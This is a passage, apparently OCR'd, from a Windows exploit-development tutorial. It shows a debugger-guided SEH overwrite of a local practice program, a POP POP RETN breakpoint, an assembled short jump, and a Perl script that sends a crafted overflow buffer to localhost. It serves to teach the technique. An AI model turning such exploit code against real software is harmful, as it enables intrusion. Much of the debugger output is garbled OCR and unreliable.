ez G e 2 0 @ LastErr ERROR_SUCCESS (@RBBBEEE)
7PZESEES| 57 PUSH EDI + [ EFL BeBEEZ46 (NO,ME,E,BE, NS, PE, GE, LE)
k] L=l =T ] = wdr T . | —
STE empty . DEEEOEEEEEEEEREEGEEE
Return to ¢r2FLOA0 (nedl 1. 7r2FCoAa] 518 empy B OB DD o0
STZ empty 0. PEOEREOEREOEREEEREEE
STS empty 0. PEOAPEOEREEEREEEREEE

btk

TreFC2AE] 3F-w| RETURM to ntdll.7r2FCOHE fi o
BEZ4FFGH| FFESCERS| djrdd
HEZ4FF&d | AoEEa0EE| ...
BEZ4FFEE| ADEEADEE| (...
BEZ4FFEC| ADEEADEE| . ...
HEZ4FFFH| Ab24FFed| * £,
HEZ4FF74| AoEaabEal (...
BEzZ4FFYE| BE24FFC4|— 5. |Pointer to nexdt SEH record
BEZAFFFC| Fr27?9FA| - d"w|SE handler
BEZ4FF30| BSEDAEFS| *A.0
BEZ4FF34| AoEEa0EE| . ...

Address |Hex dump HSCII

EE4E28E8E8| 2E A7 AY FE|DO1 582 E2 A1 .20«THHAE
68482883 |FF FF FF FF|FF FF FF FF
BA482818|FE FF FF FF| Al 68 838 80| = A...
BE4E3E18) 24 21 48 98|00 D0 B8 8@ 4tE.. ...
BE4EZEZA| A1 BE B8 BA|CA 19 C3 88| A, .. “+|.
HR4ESEZE| A8 13 C3 68| A0 B0 B8 @@l Uk.....
BA4ESEZA| A0 BE B8 B8\ E0 GE B8 8@|........
BA4EZEZS| A0 OE B8 B8 E0 OE B8 88| ........
HE4E2848| B0 B0 B8 B8|E0 B0 B8 88| ........

BR4EIE4S| B0 G0 00 06| B3 GO G0 96| ........ .
PR4EIECE| B0 00 60 00| GO GF 63 BE|........ e e [ (el IS .
BR4EIEES| 60 G0 00 00| B3 G0 G0 B8|........ - to kerne |32, FPBRDBETE
| ARAASAEA]| AR AR AR AARLAR B8 AR AR BE24FFA0| | A8eEEE0aE) . . . .

|Run program (F9>» | |Running

now the application is running. Finally send to it the data by running the a5.pl

i+ | Administrator: Command Prompt

~0ldxaS.pl
=~01d>

The application stops because of the division by 0 error
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= T

[c] File

nity Debugger - patching.exe - [CPU - main thread, module nmydil]
View Debug Plugine Immlib Opfions Window Help Jobs

=18 x|

97/122

OB EE Mx P U s+ 1lemtwhcpPkbzr..s?[ll

FrrO GC I0IU OWORD FTR S5:LEE i
TEEOLETE| S94E B0 MOL DWORD PTR S5: [EER = EEELZEEEEEQEPU] AL S
FAE01E7Z| EB B0 JHP SHORT mydll. 72801 | EFY Soaaoans
7EA01E7E| Cr4E FC_FFFFFFFIAOY DWORD PTR S5: (EEF__ 0 E00 Aanaomme
7EE01G22| BS AF1AGOTE MOU EAX, mudll. PRECIES | FR5 fBa 11000 MSUCRSE. printf
FEE01EEF| C2 RETH B c
T s e e om e el 2 S5
7OO0iGoz| E4:99B0 @eRERGENMOU DWORD PTR Fs:ro1, |E5] feRasddh Wee dc.closesocker
FEE01E53| E9 FOF ECH
FEE01GE5A| BF FOF EDT EIF FPEE0IGFE mydll.7OE01E73
FEE01E3E| BE POF ESI -
C 8 ES 9823 32bit B(FFFFFEFF)
rEA01Asc, S POF EBR . IF @ c: @piE 32bit BiFFFFFFFF)
FAE01ES0| 8B40 ES MO ECX,DWORD FTR S5t |5 8 55 Goss oonir GfFFRFEFEE)
[l e— i At e : Z @ DS 8923 32bit @LFFFFFFFF)
mpdll.security. |2 @ FS BO3E 32bit rFFOFGREIFFF)
FEE01EA7| SEES HOU ESF, EEF S B EEEE e
=l Gl i
FEE01GAE| 3BE0 183MEDTE | CHP ECH,DWORD PTR DS 0 @ LastErc ERROR_SUCCESS (BHABHRAH)
rOED1BEL| 75 BE JNz_SHORT mud 1170801 = | EFL D8@18282 (1D, M8, NE, A, 1S, PO, GE, &)
" 1 = . STA empty @, BARREEEEEAREEEEADEHAEE
SIS A AU A R e el ST1 empty B, ERCEOEDCEEE0EREE0E0E
ST2 empty 6. OEGEEEGEGEGEEEGEEE6E
STZ empty 0. OROEEEGEGAGEGRGAGRGE
Address {Hes durp Rt D M -
bo4uSEgEl 42 o1 €2 SUIBD FE o0 raf BOb 1 e BE17E954| TEFIAIAC| .5- 0| WS2_32. olosesocket
i e g g @E1ZE93E| &ES110CC| ik | MSUCRSG. printf
oac BE1ZESIC| PAGEGE11(4...
BE4E3E1Z| 34 21 40 00| 08 G0 G0 06| 4tE.. ... et W
PR4A3EZ6| A1 B0 96 B6) CA 19 DO 068, , . CH. Oo1ZEZ43| SEEREEECT! fHebE
PR4A3EZS| B9 13 DO 06| G0 60 60 96| . 0., ... SECED Trmnnn)
BR4E2E50| 60 G5 G5 G5 G5 OB O O6|........ oA e [EIFIFLE
BR4E2R22| 60 G5 G5 G5 G5 DR O O6|........ e EFFF
BE4E3E46| B0 G0 B0 06 BB G5 G0 BE| ... .. ... i e e __J
BE4EE4S| BF B0 B0 GO BB BB B0 BE| ... ... g | e
e o e e e (e Ed [ opete00s A1 2E95C| COECECLC| [FHHE
ARdASARAl AR AR AR AR AR BR GR AA] . ~J B912E968) COCCCCCD) PP hal

[01:48

181 Integer diviszion by zero — use Shift+F7?-F8-F9 tu| |Paused
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4. Immunity Debugger - patching.exe - [CPU - main thread]
File View Debug Plugins Immlib Options Window Help Jobs - ||5’|£|
e EE X p I ML 1 emtwhocecPk©bz|r s ? IIII|
ggi%ggig EE %Hig alReaisters (FPU) s £ 4
BE12ED45| CC INTZ Elanons
e | T EDW 7720SFE0 ntdll. PP20EFED
BE12E048| CC INTZ ESn pomaEBan
BA1ZED45| CC INTZ Bl ==
BoizEDdE| GE HHE ESI BopaBaa:
BELZED4C| 78 FF JS SHORT @E12E04D EDI bBubgaes
B3] ZECHE s AOC AL,EYTE FTR OS:CE |EIF @812E04E
e Sl ORI (Al C & ES @822 32bit BIFFFFFFFF)
GG1ZE0SS| poee ADD EYTE PTR Ds:CEAx1 |G} 55 5515 ZZpit BIEEEEEEERS
BE1ZE0SE| BAGE AOD EYTE FTR OS: [EAXT !
Z 1 DF 9823 32bit GLFFFFFFFF)
BE1ZEDCT| BE44FF 12 AOD EYTE PTR DS:CEOT+ |5 1 P2 EEEE 22bit BIFFFFEEEEL
BG1ZEDEE| BBES 12 AOD EYTE PTR DS:CERA+ (5 & B2 ooon il
B15E0CF| Bags ADE BYIE TR os:cemxs |2 @
galzEDer 22 S R : 0 8 LastErr ERROF_SUCCESS |ORAGSEAG]
po1ZEDEE| 1268 ADC AL, BVTE PTR DS:[E | EFL @8018246 (NO,NE,E, BE, NS, PE, GE, LE)
: e a STE empty B.EEEEGEEE0EEEE06HEE6E
A R ST1 empty @.OEOEEEEECEGEEE0EEE6E
ST2 empty 6. OEGEEEGEGEGEEEGEEE6E
ST3 enpty 8. OBOADOEDOANAOOEDERDG
Address [Hex dump ASCII " GE] ZECEH| = m=F -
BR4Eo0EE| 42 Bl 62 0| BD FE 90 r2|E6b.UeEr SSiEEE;g SS%SEEEE LP*- .
BE4628682| FF FF FF FF|FF FF FF FF _'t'*. Fointer to nedt SEH record
BR4E360168| FE FF FF FF| B1 0@ 0@ 06(s  @... BE1ZEEFC) FrEO0SFAD) L_—u| SE handler
BE4E3E1Z| 34 21 40 00| 08 G0 G0 06| 4tE.. ... R I ik
PR4A3EZ6| A1 B0 96 B6) CA 19 DO 068, , . CH. e | ET T gl
PR4A3EZS| B9 13 DO 06| G0 60 60 96| . 0., ... u to ntdll. 7r20EF4E £
BR4E2E50| 60 G5 G5 G5 G5 OB O O6|........ ggi%gggg Sgigggjg tP:-
BR4PIE3C| B0 G0 00 00 BB GF G0 BE| ... ..... BolZESE | BRiZED4C Lot
BE4E3E46| B0 G0 B0 06 BB G5 G0 BE| ... .. ... o1ZESSE | BRiZEeen temd
BE4EE4S| BF B0 B0 GO BB BB B0 BE| ... ... e | P SO p—— . |
BR4E36R5E| B0 GF GF GF B 08 03 GE[........ =M. to patching. BE4E147:
BR4EIEES| 60 G0 00 00| B3 G0 G0 B8|........ il -
| AR4ASAGAl AR AR AR AR AR AR AR AA P,
|Ehuw Hardware Breakpoints window CALT+M> | |Paused

Put a breakpoint to the POP, POP RETN instruction at address 0x00401473. Right click to the
disassembler window, and from the popup menu select go to \ expression

4. Immunity Debugger - patching.exe - [CPU - main thread, module

File Wiew Debug Plugins ImmLib Options Window Help Jobs

O EE Mx p 1l M HE e 1 emt
BRAEIEGE e = TR 55: 4 [Regict LFF
[Fegisters (FF
EE4E109Y  Backup LA = EAY DROEEEEE
BE4816859 =1 “"g-J ECY BR4E1473
41695 Copy 4 ED¥ 772DSFED
FotE v k. EEH BOGBHEEE
@E4313EA4 inary =:LESP  1EcSF GaizEsed
gpdBlond Space SiLESF  |FEF ooiZECE4
ggig%ggg 22 E-EEEE ES] GREGEEEE
aadoioer)  Label ' Peite | 07L aadeiars
Gadplpcy  comment i a.884 - 5 Es pacs
aa4a18Cd  Add Header i F 1 CS@alk
BE4E 1A =h ing. A8 S5 8823
Gede1aCh  Modify Variable 21 D3 @az3
BE4E ] GCF S 8 F5 BAE
@a4a1603  Breakpoint B PS:0<& 1T B G Daon
Bo4blabd  Runtr b i
LN race
e 08 LastErr
BA46 1601 — - | EFL emEeEz4s
gzdpiend  Mew origin here Cirl+Gray = = CTH cmrtu G F
| Origin = E
Follow in Dump ¥  Previous  Minus |
Address | r%
BE4GSE0]  Search for » 2

in the appearing popup window type the 0x00401473 address, then click to OK:
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Enter expression to follow x|

IEI:-:EIEI#EH 473 |

] I Eancell

to add breakpoint here right click to the address in the debugger window and from the popup menu
select breakpoint / toggle

£ Immunity Debugger - patching.exe - [CPU - main thread, module patching
@ File View Debug Plugine Immlib Options Window Help Jobs

O EE Max P Il ML 1 emtwh

| AR481472 [ e « | Regi
=gisters (FPU)
Sgig%igg Backup r EAY HEEEEEEER ]
oaieiel| b ko pTR 5o. | ECH 88481473 patching
:  |ED¥ vro0SFE0 ntdll.7v
BE4E1479 _ D PTR S55: | FpY popeEooe
nggiigf EII'IEF'}' P 'R DS:lmai ESF G@1ZESEd
po4pi4gs||  Assemble Space R ns:rnan | EE7 2812ERST
ggjgiigg Labal . atehing. B8 N PnT aosceacs
BB4E1 4280 . TR OS:[<% |EIF B8481475 patching
pE4p145z((  Comment ; (R DS:tChas @ g ps ogees obis o
aa4a14231)  Add Header ptching. 88 |p y S geiE 35hit @i
BE4A1 497 (TR DS:L<& g g 25 @23 32bit of
88451408 Madify Variable R SSICEEP |7 1 DS eez3 35bic e
BE4E14A7
e | | |
ea4e14E2||  Run trace ¥ Conditional shift+F2 |

Then press Shift + F9 to let the application continue. The application stops at our breakpoint:
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4. Immunity Debugger - patching.exe - [CPU - main thread, module patching]
@ File View Debug Plugins Immlib Options Window Help Jobs

=18 x|

100/122

;§,ll X P Il B ¥

l emtwhocecPk©bzr

s 21l
<

FOP ECH -
e o o £ S B —
BB4E1476| SBES ES MOU ESF,OWORD FTR S3: | Eppi 22381372 patehing. Badaldars
BB4A1473| 8B4E EG MOU ERi,DWORD PTR 35: | EE freDefeD -
BE4A147C| A3 58304000 MOU DWORD PTR OS:mai | ESH 22998800
BE4R1451| 330E WOR EEX, EEY ESF gaisEsed
Siih Sl |GF ST o ol 2
patching.
BE4B142E| 5B FUSH EAR EDI @6808809 _
R i
H a5, H

Go4a1435( 75 @6 JNZ SHORT patching.os |5 § EZ 9252 Z2bit BIEFEERREC)
60401430 FF15 4C2@48@8 | CALL DWORD FTR Ds:ics |G L1 52 2A1E SZbiv BIFFFFEFER)
GB4614A6| CP4E FC FEFFFFFIMOU DWORD PTR ss:(epp |5 9 53 223 S2biv BIFFFRREFR)
BE4G1407| A1 55204060 MOU ERX,DWORD PTR Ds: |5 1 B5 9228 Sepir QIFFFERFFE)
BE4G140C| ES HDBCHDED CALL patching._ SEH e |3 2 F5 2236 3abi
Bo4n148% B4 4DSAEDes i Efx, 540 02
BE4R14E7| 66:3905 POEB4PE CHF WORD FTR DS:[4ppe |0 @ LastErr ERROR_SUCCESS (08200883
aa4014eE| 74 04 JE_SHORT patch ing. 64 wl| EFL 69968246 (10, NB, E, BE, NS, PE, GE, LE)
ook TERTCEEedT= T oIEr TS thedl L T ober o) gﬁ EMpty S-gggggggggggggggggggg
HESERIGTS [PEEEh (e, EEr e ) T2 Emory B ERAERAERGEREEHEEERE

ST5 empty . PEPAREDAEEEEEREEEREE
Rddress |Hen dump oIl " TTEOLF oy W] FETURN to ntdll.Tre05FTS o
BE4ESE0E| ZE Ar Ay FE|DL G 55 Bl .00mTHAE e
BB46002| FE FF FF FF|FF FF FF FF e e
Bp43016| FE FF FF FF| 61 B8 0o ool o... e
HRIESALS| 34 21 48 @0 B O3 08 98| 41E... .. BR1ZEET2| BALZEDMC|Le#. |Pointer to newt SEH record
BE4ASEZ6| 51 BE BB DA\ 0O 19 C3 08| 0. .. tbt. e S D e i ol e
BE4ASEZE| B0 15 C3 0B B0 BB 68 08| . 0 F.. ... e e s
BE4ASH50| 60 PO 6D DB B0 DO BB B8] .. ... ... Da12E5ED) GDIZEDAC] Les.
HB483835( 09 08 00 0O( B8 B3 00 BAl........ pa12EEaa|| 7P205FAE| K_—w| RETURN to ntdll.77P20SF4E i
BE4GSH46| B0 DO GO OB B0 DO BB 68| .. ... ... e e I
BE4GS045| B0 DO GO OB B0 DO BB BB ... ... .. CNEEEED T
BE4BSECE| 60 BE BB DB B0 BO BB DE| .. ... e e L,
BE4ESECE| B0 DO 0D 06| B0 DO GO B8] ... ... .. e | e -
| ARARSAEA] AR AR AR AR AR AR RA AR pE.

|[E4:59:11] Breakpoint at

patching. 88481473

|Paused

press F8 three times, and arrive to the stack:
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4. Immunity Debugger - patching.exe - [CPU - main thread]
@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB TE X P U wHEEY lemtwhcPkbzr..s ?ll
BE1ZEDTS] L THTS i
BE1ZEDZA| CC INTZ - EEELZEEEEEEEPU] AL S
@E1ZEDZE| CC INTZ Sel Spaae
S EELE | (D ) EDW 7P20SFE0 ntdl L. PP20EFED
BE1ZEDZ0| CC INTZ S0 Lpmiead
BE1ZEDZE| CC INTZ EEY omiopean
BE1ZEDSF| CC INT2 Eraghe=s
BaizED4t| GE e ESI Bopanaas
BE1ZED4Z| INTZ EDI bBubgaes
BaicEndd| Gt TS ol paleE
C @ ES 923 32bit BLFFFFFFFF)
| T F 1 CS GBiE 3Zbit BIFFFFFFFF)
golsEDas) oL HME A @ S5 @E23 32bit @(FFFFFFFF)
golZEDar| X TS Z 1 DS 8823 32bit BIFFFFFFFF)
golgEDas| L TS S @ F5 9938 32bit TFFOEREACFFF)
S i o [ I
i e 0 8 LastErr ERROR_SUCCESS |GRGHGEHARI
OO12ED4E| 12008 ADC AL,EYTE PTR DS:[E w | EFL B@RE246 (NO,ME,E, BE, NS, PE, GE, LE)
: 5TH empty B, BEEEEHEHEHHEHEEEGEEE
Jump s taken ST1 empty @.OEOEEEEECEGEEE0EEE6E
ST2 empty 6. OEGEEEGEGEGEEEGEEE6E
ST3 enpty 8. OBOADOEDOANAOOEDERDG
Address [Hex dump ASCII " GE] ZECEH| = m=F -
= BRIZECF4| MALZEEZD| pt.
b pada) e i (el (SRRt BE1ZES7s| BE1ZED4C|Let. |Fointer to next SEH record
gyt | dgaddpa dalal S 45 BE1ZESTC| 7P20SFED| 1_—w|SE handler
; BE1ZESSA| BE1ZE04C| Lot.
BO403812 34 21 42 98|80 B0 BO 0| 4tE.. ... e | e e
donlast il a0y W) al) D) L) B 5 8 oo ol 661 2E55E || FPE05FAE| K| RETURM to ntdll.7PEO0SF4E fi
EE4E3E2E B8 13 C3 oo|oe @6 ea oa|.it.. ... BOLZESSS|| freDsPai Kot
BEIEIECE| 00 P65 60 0|68 B8 BE Ga[........ go12ESee| | aizEeac Les.
PE4EIE2E| 00 Be 60 op|oe Be ea Gal .. ...l .. go12E578) | GalzEDaC) Les,
BE4EIE40( 56 56 60 GB|o8 B8 Ba Gal .. ... ... doteERI | aoieenas ﬁ:*
pdoondc|on oo bo Dol B BB DD BBl -eeeeees 831 ZEEaC || BE4E1472| <T@, |RETURN to patching. BB4E1473
"""" ea1zEcqe| | eeesaees| .
BE4E3055| 00 oe oo ooloe @8 oo eal........ | D21ZESHE | BamaRanE ..o -
| AR4ASAGAl AR AR AR AR AR AR AR AA P,
| | |Paused

As we can see our jump is at the place, and it wants to jump. Press again F8 to arrive to that

position:
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4. Immunity Debugger - patching.exe - [CPU - main thread]
File View Debug Plugins Immlib Options Window Help Jobs

=18 x|

ol T E X P I b P e

ﬂemt

‘Wht::l}']{l::lz1:...5'.5"!I

AR1ZENZ3] CC

@aizED2E| CC
BA1ZED3C| CC
BA12ED30| CC
BE1ZEDZE| CC
BE12ED3ZF| CC
BE1Z2ED4E| CC
BE1ZED41| CC
BE1ZED42| CC
@aizED42| CC
BR1ZED44| CC
BA12ED45| CC
BEA1ZED4E| CC
BE1ZED47| CC
BE1Z2ED42| CC
BE12ED43| CC
BE1ZED4A| CC
@81 ZED4E| CC

BA1ZED4C|~74 _EC
BA1ZED4E| 1260

IrlEh el == =2 . |

THTZ -

Fegisters (FFUI % % %

IMTZ2

IMTZ2 _I
T3

JE SHORT BE1ZEDZA

ROC AL,EBYTE FTR D5:L[E w

{1 N T | = N T s e = T

Address |Hex dump

BE4BE3EEE| 2E AY AY FE
Ba4B823868| FF FF FF FF
@E483816| FE FF FF FF
Ba4azEl1s 24 21 48 D@
BR4BZEZE| 61 BA BB Q8
BR4BEZEZS | BE 13 C3 0a
BA4AZIEZE| BE BA 6@ 68
BA4B3ZE38| B8 BA B8 B8
HE4B3E4E| B8 BA B8 08
BA482848| 08 BA B8 Q8
AE4E3E5E| AR BE 6 @6
BE4EZE5E| 08 BE 68 Qg
| ARAASACA| AR AR AE AR

ERX BEEEEERE
ECY B812Ec4C
ED FF20EF20
EEX BB8a88EEE
ESP @812EE7A
EEF B812E524
ESI B8aaa8aa
EDI a88aa8aa

EIF 8812EDZA

LastErr
EFL BBa8az24&

STE empty B.BEEEEEEEEERAEEEREEEE
STl empty B.000008888E8EEE00055E8
STZ2 empty B.000EEEAA8EREEEEEEEE3
ST3 empty B.B0EEEEE8EEREEEEEEEEE

ntdll.7720EF20

22bit BLFFFFFFFF]
22bit BILFFFFFFFF]
22bit BLFFFFFFFF]
32bit BLFFFFFFFF)
32bit FFFOEEEE[FFF]
MHULL

ERROR_SUCCESS [ B888EEAE]
(M0, ME,E,EBE, M5, FE, GE,LE]

=

BE1Z2ECEE | o=t ~
HA1ZEETY| BRIZESZE( p#.
BE1Z2EEFE| @A012ED4C| L+#. |Pointer to next SEH record
BE1ZESFC| 7r205F20( i_-w| SE handler
BE1ZESEA| AA1ZED4C| L.
HE12ESS4 | FAE1ZEESS | 4p .
Ba12EE2E || Fr205F4E| K_—w]| RETURH to ntdll.7F20EF4E fx
BA12ESEC|| BE1ZEE4C| Lp .
BE1ZES?E || BR1ZED4C| L+d.
HE1ZES?4 || BO1Z2ECEE | o=t
HE1ZES2E|| BRlZECZE( p#.
BE1ZESAC|| BEdA1473( M@, | RETURH to patching. 88481473
BE12EEAA || BEBEEEEE| (...
HE12EEA4 || BE1ZEE4C| Ly 4. &

|Ehuw Log window

CAlt+L>

| |Paused

but now there is an INT 3 instruction so the application were stop, that is not really usefull for us.

What were usefull?

If we were place our shellcode here that is not so good, because we have only 17 bytes place, what
is quite small. But it is more than enough to jump to the beginning of our range
(0x0012E940..0x0012ED3C). I leave 16 bytes NOP sled at the beginning so I want to jump to the
0x0012E950 position. To figure out what instruction required to do it right click to the address
0x0012ED3A and from the popup menu select Assemble.

4. Immunity Debugger - patching.exe - [CPU - main §

@ File View Debug Pluging Immlib Options ‘Windo

O EE X » I W H

AA1FENZ23] CC
[

THTZ

THTS

21 li o o

HEA1 ZECZE Backup
@E1 ZEQS0 Copy
@E1 ZEQSF Binary

3
3
4

oa1zEndd| |

BE12ED42
AR1PFN43 Label
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Then to the appearing window type jmp 0x0012E950, then click to the Assemble button:

We get the next:

4. Immunity Debugger - patching.exe - [CPU - main thread] O

Assemble at 0012FED3F
[imp <001 2E350] |
¥ Fill with NOP's tzzemble | Cancel |

@ File View Debug Plugins Immlib Options Window Help Jobs

103/122

=18 x|

OB TE X P U wHEEY lemtwhcPkbzr.s ?ll
BE1ZEDZY] CC INTS i
~E3 11FCFFFF JHP Ba12E358 | feaisvers [FPU) S S
BE1ZEDSF| CC INTS ECy Baiopcat
e e EDW 7P20SFE0 ntdl L. PP20EFED
BE1ZED41| CC INTS EBY ShSooo0
BE1ZED4Z| CC INTS el
BE1ZED43| CC INTS B
BoisEDds| Co T3 ESI pooggaog
@E12E046| OO IHTZ EDL Bapaaaag
i i
C B ES 9822 32bit BIFFFFFFFF)
s | T F 1 CS GBiE 3Zbit BIFFFFFFFF)
e | e A B S5 BB22 32bit BIFFFFFFFF)
N z 1 DS 9823 3Zbir GIFFFFFFEFF)
BE1ZED4C|~ 74 EC JE_SHORT @812ED3A T8 P GhEn cophn ShEREAnERs
BE1ZED4E| 1268 ADC AL.EYTE FTR DS:[E f5 2 L2 290 50!
coiebes) 13 1 76 fion oeizeoes | ¢
e e A e ok DsirEmxy |0 @ LestErr ERROR_SUCCESS (@@@@000a)
OD1ZEDSS| @een HDD BYTE PTR DS:[ERA] wf EFL @@@80246 (NO,NE,E, BE, NS, PE, G, LE)
: 5TO empty 0.BE0AEE0EEEOEEEOBEEEE
ST1 empty G.DEEE0EEEHEEE0EEEHREE
STZ empty B.DBOEEBOEEREEEREEEREE
ST3 empty D.BPOADOABOOBDERDOEEOE
Add Hew d BE1ZESAd] GO1ZECEL] ok,
T R =l 6617ES45| Bo1ZESEd| dot. =
ondooees| EF FE EE BE1ZES4C| Fre9szid|félw|ntdll. FRE9seld
T EE BE B2 —A 051 5ECE6| BE4BAEEE| . . €. | patch ing. BA4EBHEE
ey e BF BF 83176554 | DERBEEE1| 6. . .
el B o s B31ZEEES| DREOOEGE| M. -
SehEEER I B B01ZEEEC| DRROOEEE . . .
SehiEn R b BO1ZECER| DR1ZECES| Rot.
oadooaq0l 65 o8 o6 BE1ZESES| BE1ZEC4C|Lit. -
BE1ZESEC| BE1ZED4C| Lod.
BE4EZ642| B0 BE GO aaieEddb Lod,
e GO1CES 4| DRIZEE2B| .|
| ARAASASA| AR AR AR TWOE12EEVE| BE1ZED4C) Le#. |Pointer to next SEH record ™

|Paused

|Ehuw windows

the modified perl code (a6.pl):

use I0::Socket;

my S$sock new IO::Socket::INET (
PeerAddr => '127.0.0.1",

PeerPort => '12345"',

Proto => 'tcp',

) ;

die "Error: S$!\n" unless S$sock;
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my $line = "\xCC" x 820
"\x78\xFF\x12\x00" .
"\xCC" x 194 .
"\XEI\XII\XFC\XFF\XFF"
"\xCC" x 13 .
"\x74\xEC\x12\x00" .
"\x73\x14\x40\x00";

my $len = length $line;
my $msg = pack "L", S$len;
print $sock $msg . S$line;
close ($sock) ;

save this perl script, then close the debugger, and restart the application. Type 0 as number, to
trigger the exception handling:

| Administrator: Command Prompt - patching.exe

:s0ld>patching . exe
nter a numher if B division by zero fires the exception handler:

start the immunity debugger again, and from the file menu select the attach command

# Immunity Debugger - [CPU]

C View Debug Plugins ImmLb Options Window Help Jobs
] Open F3 i+ 1 emt
Debach
Exit Alt+¥
1 C:\Cld\patching.exe Cirl+F2

in the appearing window select patching, then click on the attach button:

Find: PA = =] B3
PID | Mame Seruvice Listening Window Path -
1622 | postgres Cz-~PROGR
1728 | postares C:~FPROGE
1788 | postares C:~FPROGE
17358 | postares C:~FPROGE
1796 | postgres Cz~FROGE
15864 | postares Cz~PROGF
1852 | swchost FPolicwHaent Cz~indo
1864 | swuchost RemoteRegistry Cz~Windo
1944 | suchost WasUC, WAsS Cz=lWlindo
1956 | swchost e Cz~Windo
2H32 | msdtc MSOTC Cz~Windo
21868 | taskeng CiceralIlndFrame Cz~lWindo
2164 | Owm OWM Mot ification Window Cz~lindo
2212 |Explorer Start Cz~lindo
2360 | UBonTraw LUBoxSharedCl ipboardClass Cz~indo
2484 | cmd Bdministrator: Command Prol C:sWindo
244 | cmd Administrator: Command Pool Gz~ indo
2280 | patching Co~0ld~p™_]
ZA72 | swchost TapiSrw Ci~linda ™

Attach I Cancel I

After the attach the application will be in paused starte so start it by clicking to the play button
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4. Immunity Debugger - patching.exe - [CPU - thread 00000E04, module ntdil] =]
@ File Wiew Debug Plugins Immlib Options Window Help Jobs - ||5’|i|
OB TE Mx P U HHEYE lemtwhcPkbzr..s?ll
AT C3 EEZE o1 « |R=gizters (FPU) A
TrEESESL| SBPCE24 BC MOU EDI,OWORD PT | Efi CEEDEREE
fropebet| EBedad 2t oce | hoy ComeDWORD E1 1EGK F72FCS64 ntdll.DballiRemoteBreak in
FTEECESE| S97A o4 MOU DwoRD PTR of | EEX ZoguEnss
7reESE4z| BBFF OR EOI,EDI Ecig e i
CSEirac| 3R OF ECK. FEREEPRE |ES! G@gmomon
7PZESE4S| 33CH 0R EA%, EAX 2l BlalElalElzll
772BSB4B| F2roE REPNE SEAS BYTE EIF 7PFZBSBZF ntdll.772BOEZF
7PIESE4F| 21F3 FFFF@@@a | CHP ECK, BFFFF £ B g anes SNt [ AEAAAAAE
fTEESEAR( BLFE. HE o) 1 ©S BAlE 32bit BIFFFFFFFF)
ntdll- g @ S5 PE22 3Pbit BIFFFFFFFF]
FFZESEST| B9 FFFFO@EE MOL ECH, BFFFF ;
. =0z 1 D5 9822 32bit BLFFFFFFFF]
FroBSESC| eEzE94m B2 nou_word PTR DSJBME 6 Fa oo9b oobit JFFDEGRGLFEF)
Return to 7F2FCO9AE (ntdll.772FC9ARE) T @& §5 B866 HULL
0a
0B LastErr ERROR_SUCCESS (QOBGEHEE)
a & R e R e
Addrezz |Hex dump | a Fr2FCPA0| AF-w| RETURM to ntdll.7r2FC9AE from ntdll.0baBr
BE4EZGEE| 9E Oz 55 E0| 64 60 rr 2| mfl aacerred| fR4lshlildAe
BOZEFFE4| DEoAEEGE| .. ..
Bp4E3E02| FF FF FF FF|FF FF FF FF SRR
BB463616| FE FF FF FF|al oo oo oo| | D2SBEESE) oo@aaung) ...
GE463615( 34 21 4@ 6@ 68 66 oo ool | JSEFFSL) 00898 ...
GE4A3GZ6( 01 GO 66 68\ C6 13 2B aa| | BASEFEOR) SESBFEER) .
BE4EIEZZ| B3 12 2B 00| G0 OO0 @0 00 QOSEFITY| poomamddl -«
BE4EIEI6| BB B0 B0 00| BB 00 6O 00 ir[Pointer to nent SEH record
BR4E3R46| A6 GF G5 06| B 03 A A0 SSEEEEEE gggggggg BV
BE4E3E4Z| OB B0 BO DO 09 OO0 B0 0O o T
BR4E3ESH| BB B0 BO 00| OB 00 B0 00 CeSTERCE [[po T A (el e
PR4ESAECS| 6O OB B8 00| GO 60 68 68 o to kerne 32, FPOADGED
BR4E2REE| BF G5 G5 GO B 08 B A6 mrEa] | Lt oD
BR4AIPCE| BR BE PO 00| OB 00 GO 00 AR e o O
GE4G2E7E| B8 GE OO GE| B8 GE GO Q6 A1++w| RETURH to ntdll.772B19EE
GE403675| 60 06 00 65|00 oo oo ool | DOSEEFSLI| DOAGEARE| .. .. [
PR4AIACE| BB B0 0O 00| BB 09 60 00 CeEiaR]| | BE T
Ba463055( 68 00 00 06| on oo oo oo| wf PEEEREERG|| BARLEY -
|[BE:53:28] Attached process paused at ntdll.DbhgBreakPoint |Paused

The application will continue to run:
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4. Immunity Debugger - patching.exe - [CPU - thread 00000E04, module ntdil]

@ File View Debug Plugins Immlib Options Window Help Jobs _||5’|£|
OB TE XU wHEEY lemtwhcPkbzr..s ?ll
i >F [ RETH
TroBSESE| G FUSH EDI - EgiliﬁﬁgzaéEPU] N S S
T ey
7roESEI| Croz eemppese | MOU Duoko PTR o | EDN frebbesd ntdll.Obalifsnetebreskin
FFZECEZF| 2970 B4 MOU_DWORD FTR DF ] Eof Docperor
FFIECEAZ| BBFF OR EDI,EDI B
SiEiras| EeiTer OF LR FERFFFFE | ES o0ammon
FFEESE4S| 3308 SOR ERs, EAX S0 BlslElElzial
rrzpsEds| EzifE REPNE SCAS BYTE EIF 7FPZBSEZF ntdll.7P2ESERF
7PEESEAF| S1FS FFFFO@88 | CHE ECH, BFFFF S s s A d g aEy
FFIESESE| 76 B JEE SHORT ntdlli 0 5 52 o33 Sobit GLFFFEFEER)
FFZECECT| B9 FFFFGEGE nou ECx, BFFFF A5 T Gf Gocc oobii oiFFFRREEE)
FPIECECC| GE:D940 62 Hou WoRD FTR pso TS L PE Z9es shit BIETEEEERCL
Feturn to Fr2FC9AE (ntdll. Fr2FCORE] T8 G5 68688 HULL
D@
0 @ LastErr ERROR_SUCCESS (@R@HSHEE)
FUP ot
TrEF COAA] 2] RETURN to ntdll. 7r2FCoRE from ntdl L. DboE:
Address |Hew dunp & P RSEFFE| TF415C1T| Ao -
DRIGZEEG| OB 92 OF 60| 64 &0 rF 92|
BEIEFFe4| eooaeEaa .. ..
eR4a26862( FF FF FE FE|FF FF FF FF
BEZEFFES| GEoEeEaE| .. ..
BA4E2E16| FE FF FF FF|B1 00 00 60|
BEZEFFEC| GEOEGEaE| .. . .
BR4AZA1S[ 34 21 46 60|08 00 08 68| :
BE463626( 81 BE 0O BO(Co 19 2B pal | DOSERF/R) WOSEEEED) *
BE4E3025| 08 13 2B 00|00 0o oo pp| | DESEFESY) BAAERAAE) ...
HEZEFFYS( BE3EFFC4|— ;.|Pointer to next SEH record
PE4G2630( 66 B0 00 00| GO 68 68 68 T
BEIEFF?C| 77P2799F0| - 6'w|SE handler
PR4ASA3S( B0 00 6O 00| GO 68 68 OF DRSBRFTC| foEroarhl i
